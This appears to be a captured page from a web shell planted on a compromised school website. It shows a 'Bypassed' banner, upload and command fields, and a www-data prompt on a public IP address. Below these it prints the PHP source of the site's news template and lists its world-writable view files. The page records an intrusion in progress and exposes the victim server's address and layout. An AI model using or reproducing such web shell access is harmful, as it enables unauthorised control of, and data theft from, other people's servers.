[ Avaa Bypassed ]




Upload:

Command:

www-data@18.117.157.139: ~ $
<div class="page-header-area">
    <div class="container">
        <div class="page-header-content">
            <h2 class="title"><span class="inner"><?php echo $this->lang->line('news'); ?></span></h2>
            <ul class="links">
                <li><a href="<?php echo site_url($school->school_url); ?>"><?php echo $this->lang->line('home'); ?></a></li>
                <li><a href="javascript:void(0);"><?php echo $this->lang->line('news'); ?></a></li>
            </ul>
        </div>
    </div>
</div>

<div class="inner-all-news-area">
    <div class="container">
        <div class="row justify-content-center">
            <?php if(isset($news) && !empty($news)){ ?>
            <?php foreach($news AS $obj){ ?> 
                <div class="col-lg-4 col-md-6 col-12">
                    <div class="single-news">
                        <div class="img">
                            <?php if(isset($obj->image) && !empty($obj->image)){ ?>
                            <img src="<?php echo UPLOAD_PATH; ?>news/<?php echo $obj->image; ?>" alt="">
                            <?php }else{ ?>
                                <img src="<?php echo IMG_URL; ?>news-image.jpg" alt="">
                            <?php } ?> 
                        </div>
                        <ul class="meta">
                            <li><span class="icon"><i class="fas fa-user-circle"></i></span> <?php echo $this->lang->line('by'); ?> / <?php echo $obj->name; ?></li>
                            <li><span class="icon"><i class="fas fa-calendar-alt"></i></span> <?php echo date($this->global_setting->date_format, strtotime($obj->date)); ?></li>
                        </ul>
                        <div class="content">
                            <a href="<?php echo site_url($school->school_url.'/news-detail/'.$obj->id); ?>">
                                <h2 class="title">
                                    <?php echo strip_tags(substr($obj->title, 0, 40)); ?> ...
                                </h2>
                            </a>
                            <p class="text">
                               <?php echo strip_tags(substr($obj->news, 0, 180)); ?> ...
                            </p>
                            <div class="more-wrapper">
                                <a href="<?php echo site_url($school->school_url.'/news-detail/'.$obj->id); ?>" class="more"><?php echo $this->lang->line('read_more'); ?></a>
                            </div>
                        </div>
                    </div>
                </div>
            
            <?php } ?>
            <?php }else{ ?>
                <div class="col-lg-12 col-md-12 col-sm-12 col-12">
                    <p class="text-center"><strong><?php echo $this->lang->line('no_data_found'); ?></strong></p>
                </div>
            <?php } ?>            
        </div>
    </div>
</div>

Filemanager

Name Type Size Permission Actions
layout Folder 0777
about.php File 3.02 KB 0777
academic_calender.php File 3.57 KB 0777
active_teacher.php File 4.85 KB 0777
admission-form.php File 20.41 KB 0777
admission-online.php File 43.96 KB 0777
apa.php File 19.75 KB 0777
class_routine.php File 3.64 KB 0777
contact.php File 7.81 KB 0777
event.php File 3.07 KB 0777
event_detail.php File 4.93 KB 0777
faq.php File 1.84 KB 0777
gallery.php File 2.3 KB 0777
head_message.php File 7.97 KB 0777
head_served.php File 2.42 KB 0777
holiday.php File 2.72 KB 0777
holiday_detail.php File 3.78 KB 0777
inactive_teacher.php File 4.85 KB 0777
index.php File 24.34 KB 0777
leave_teacher.php File 4.85 KB 0777
news.php File 2.83 KB 0777
news_detail.php File 4.64 KB 0777
notice.php File 2.63 KB 0777
notice_detail.php File 4.06 KB 0777
other_resources.php File 3.59 KB 0777
page.php File 2.18 KB 0777
profile_detail.php File 25.44 KB 0777
publication.php File 1.88 KB 0777
splash.php File 25.63 KB 0777
staff.php File 4.5 KB 0777
student_notices.php File 4.94 KB 0777
students_form_resources.php File 3.52 KB 0777
teacher.php File 5.79 KB 0777